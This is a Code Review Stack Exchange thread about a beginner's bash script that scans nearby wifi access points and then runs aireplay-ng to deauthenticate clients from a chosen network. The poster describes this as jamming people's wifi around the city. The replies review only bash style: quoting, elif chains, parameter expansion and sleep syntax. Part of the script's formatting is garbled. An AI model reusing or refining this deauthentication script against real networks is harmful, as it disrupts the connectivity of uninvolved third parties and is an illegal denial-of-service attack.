# Bob Marley is jamming on the wifi

Bob is jamming it's way through the city deauthenticating people from thier wifi for a few seconds. First scanning all possible wifi-AP and then pretty printing them, afterwards you can choose a wifi to jam and it will perform a deauth for a few seconds attack using the airmon-ng framework.

This all works as intended but I'd like an intermediate review, before I try to add more functionality. This is one of my very first bash programs so please be gentle. As I'm unskilled in bash.

1. I wonder if I use the correct syntax in bash?
2. Further I think my scanning function is not all that good, I bet there are more pretty ways to check.
3. Lastly maybe checking wifi's near me with airmodump-ng instead of iwlist scanning would be a better way of handling this?

#!/bin/bash

# My global vars
declare -a mac=()
declare -a essid=()
declare -a channel=()
declare -a level=()

function scan {
# Reset variables on new network
[[ "$line" =~ Cell || "$line" == "" ]] && {
# If we already found one network then echo its information
[[ "$network" != "" ]] && { # Update arrays & clear mac+=($m);essid+=($e);channel+=($chn);level+=($lvl) network="" } } [[ "$line" =~ Address ]] && {
m=${line##*ss: } } [[ "$line" =~ Channel ]] && {
chn=${line##*nel } chn=${chn:0:$((${#chn}-1))}
}
[[ "$line" =~ Quality ]] && { lvl=${line##*evel=}
lvl=${lvl%% *} } # The ESSID is the last line of the basic data [[ "$line" =~ ESSID ]] && {
e=${line##*ID:} network="finished reading" } done < <(iwlist wlan0 scanning) } # Printing the list of wifi's function print { echo "--------------------------------------------------------" for i in "${!mac[@]}"; do
echo "[$i]${mac[$i]}${essid[$i]}${channel[$i]}${level[$i]}" done } function jam { echo "--------------------------------------------------------" echo "Type the number of the wifi to jam" read i; echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"

# Start jamming
airmon-ng check kill
airmon-ng start wlan0
sleep(5)
timeout 10 aireplay-ng -a ${mac[$i]} --channel ${channel[$i]} --deauth 0 wlan0mon
airmon-ng stop wlan0mon
}

scan
print
jam

• shellcheck.net have some nice feedback regarding quoting etc. – Fredrik Pihl Sep 8 '17 at 13:50

Nothing would make a reviewer happier than help you jam the networks of an innocent neighborhood. (sarcasm)

### Mutually exclusive conditions

Can line match Address, Channel, etc at the same time? If not, then the multiple [[ ... ]] are needlessly evaluated, and it would be better to rewrite them using elifs:

    if [[ "$line" =~ Address ]]; then m=${line##*ss: }
elif [[ "$line" =~ Channel ]]; then chn=${line##*nel }

[[ "$network" ]]  ### Simpler parameter expansion An easier way to chop off the last letter of a string is using parameter expansion: chn=${chn%?}


### Function declaration style

function scan {


The recommended style to declare functions is this:

scan() {

• Sorry, Bob made me do this! I was just minding my own business learning bash, then Bob came along and told me to go Jammin'. Good review, I totally missed the mutually exclusive part, that could have made for some wierd behaviour. – Ludisposed Sep 8 '17 at 10:45
• @Ludisposed Oh now I get the name – stybl Sep 8 '17 at 10:54
• @Ludisposed I added a few more important points (I just got home now), enjoy! ;-) – janos Sep 8 '17 at 20:01

# Sleep function

sleep(5)


should be

sleep 5


This may be terminal specific, but on my terminal the bracketed form doesn't work